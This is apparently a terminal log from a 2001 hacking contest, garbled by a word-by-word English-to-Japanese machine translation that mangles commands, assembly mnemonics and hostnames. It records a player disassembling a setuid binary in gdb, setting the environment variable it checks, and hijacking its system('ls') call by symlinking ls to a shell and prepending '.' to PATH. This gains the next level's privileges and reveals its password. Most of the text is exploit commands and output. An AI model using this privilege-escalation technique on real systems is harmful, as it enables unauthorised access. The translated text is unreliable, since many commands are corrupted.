このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Script started on Mon Dec 24 07:09:25 2001
恐れる:0:level3$ telnet 切り開く/タクシー/不正アクセス.datafort.逮捕する
Trying 213.132.58.103...
Connected to 切り開く/タクシー/不正アクセス.datafort.逮捕する.
Escape character is '^]'.

FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp2)

login: level2
Password:
Last login: Mon Dec 24 10:50:15 from 66.157.228.70
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
	The Regents of the University of California.  All 権利s reserved.

FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001


bash-2.05$ cd temp
bash-2.05$ cp /contest/level3 .
bash-2.05$ ./level3 
bash-2.05$ gdb -q ./level3 
(no debugging symbols 設立する)...
(gdb) disas main
捨てる of assembler code for 機能(する)/行事 main:
0x8048530 <main>:       押し進める   %ebp
0x8048531 <main+1>:     mov    %esp,%ebp
0x8048533 <main+3>:     sub    $0x8,%esp
0x8048536 <main+6>:     追加する    $0xfffffff4,%esp
0x8048539 <main+9>:     押し進める   $0x80485cf
0x804853e <main+14>:    call   0x80483d4 <getenv>
0x8048543 <main+19>:    追加する    $0x10,%esp
0x8048546 <main+22>:    mov    %eax,%eax
0x8048548 <main+24>:    実験(する)   %eax,%eax
0x804854a <main+26>:    jne    0x804855c <main+44>
0x804854c <main+28>:    追加する    $0xfffffff4,%esp
0x804854f <main+31>:    押し進める   $0x0
0x8048551 <main+33>:    call   0x8048414 <出口>
0x8048556 <main+38>:    追加する    $0x10,%esp
0x8048559 <main+41>:    lea    0x0(%esi),%esi
0x804855c <main+44>:    追加する    $0xfffffff8,%esp
0x804855f <main+47>:    押し進める   $0x80485d8
0x8048564 <main+52>:    追加する    $0xfffffff4,%esp
0x8048567 <main+55>:    押し進める   $0x80485cf
0x804856c <main+60>:    call   0x80483d4 <getenv>
0x8048571 <main+65>:    追加する    $0x10,%esp
0x8048574 <main+68>:    mov    %eax,%eax
0x8048576 <main+70>:    押し進める   %eax
0x8048577 <main+71>:    call   0x80483f4 <strcmp>
0x804857c <main+76>:    追加する    $0x10,%esp
0x804857f <main+79>:    mov    %eax,%eax
0x8048581 <main+81>:    実験(する)   %eax,%eax
0x8048583 <main+83>:    jne    0x8048595 <main+101>
0x8048585 <main+85>:    追加する    $0xfffffff4,%esp
0x8048588 <main+88>:    押し進める   $0x80485e7
0x804858d <main+93>:    call   0x80483e4 <system>
0x8048592 <main+98>:    追加する    $0x10,%esp
0x8048595 <main+101>:   leave  
0x8048596 <main+102>:   ret    
0x8048597 <main+103>:   nop    
End of assembler 捨てる.
(gdb) break *0x804853e
Breakpoint 1 at 0x804853e
(gdb) break *0x804856c
Breakpoint 2 at 0x804856c
(gdb) break *0x8048577
Breakpoint 3 at 0x8048577
(gdb) break *0x804858d
Breakpoint 4 at 0x804858d
(gdb) run
Starting program: /usr/tmp/temp/./level3 
(no debugging symbols 設立する)...(no debugging symbols 設立する)...
Breakpoint 1, 0x804853e in main ()
(gdb) x/s 0x80485cf
0x80485cf <_fini+7>:     "badc0ded"
(gdb) cont
Continuing.

Program 出口d 普通は.
(gdb) やめる
bash-2.05$ 輸出(する) badc0ded=wtf
bash-2.05$ gdb -q ./level3 
(no debugging symbols 設立する)...
(gdb) break *0x804853e
Breakpoint 1 at 0x804853e
(gdb) break *0x804856c
Breakpoint 2 at 0x804856c
(gdb) break *0x8048577
Breakpoint 3 at 0x8048577
(gdb) break *0x804858d
Breakpoint 4 at 0x804858d
(gdb) run
Starting program: /usr/tmp/temp/./level3
(no debugging symbols 設立する)...(no debugging symbols 設立する)...
Breakpoint 1, 0x804853e in main ()
(gdb) cont
Continuing.

Breakpoint 2, 0x804856c in main ()
(gdb) x/s $eax
0xbfbffd53:      "wtf"
(gdb) x/wx $esp
0xbfbffb84:     0xbfbffd53
(gdb) 
0xbfbffb88:     0x080485d8
(gdb) x/s 0x80485d8
0x80485d8 <_fini+16>:    "that is 権利."
(gdb) やめる
The program is running.  出口 anyway? (y or n) y
bash-2.05$ 輸出(する) badc0ded='that is 権利.'
bash-2.05$ !gdb
gdb -q ./level3 
(no debugging symbols 設立する)...
(gdb) break *0x804858d
(gdb) run
Starting program: /usr/tmp/temp/./level3
(no debugging symbols 設立する)...(no debugging symbols 設立する)...
Breakpoint 1, 0x804858d in main ()
(gdb) x/wx $esp
0xbfbffb7c:     0x080485e7
(gdb) x/s 0x80485e7
0x80485e7 <_fini+31>:    "ls"
(gdb) やめる
The program is running.  出口 anyway? (y or n) y
bash-2.05$ ln -s /貯蔵所/sh ls
bash-2.05$ 輸出(する) PATH=.:$PATH
bash-2.05$ /contest/level3
$ id
uid=1002(level2) euid=1003(level3) gid=1002(level2) groups=1002(level2)
$ pass
The password for level3 is buzz113
$ 出口
bash-2.05$ 出口
関係 の近くにd by foreign host.
恐れる:0:level3$ 
Script done on Mon Dec 24 07:37:35 2001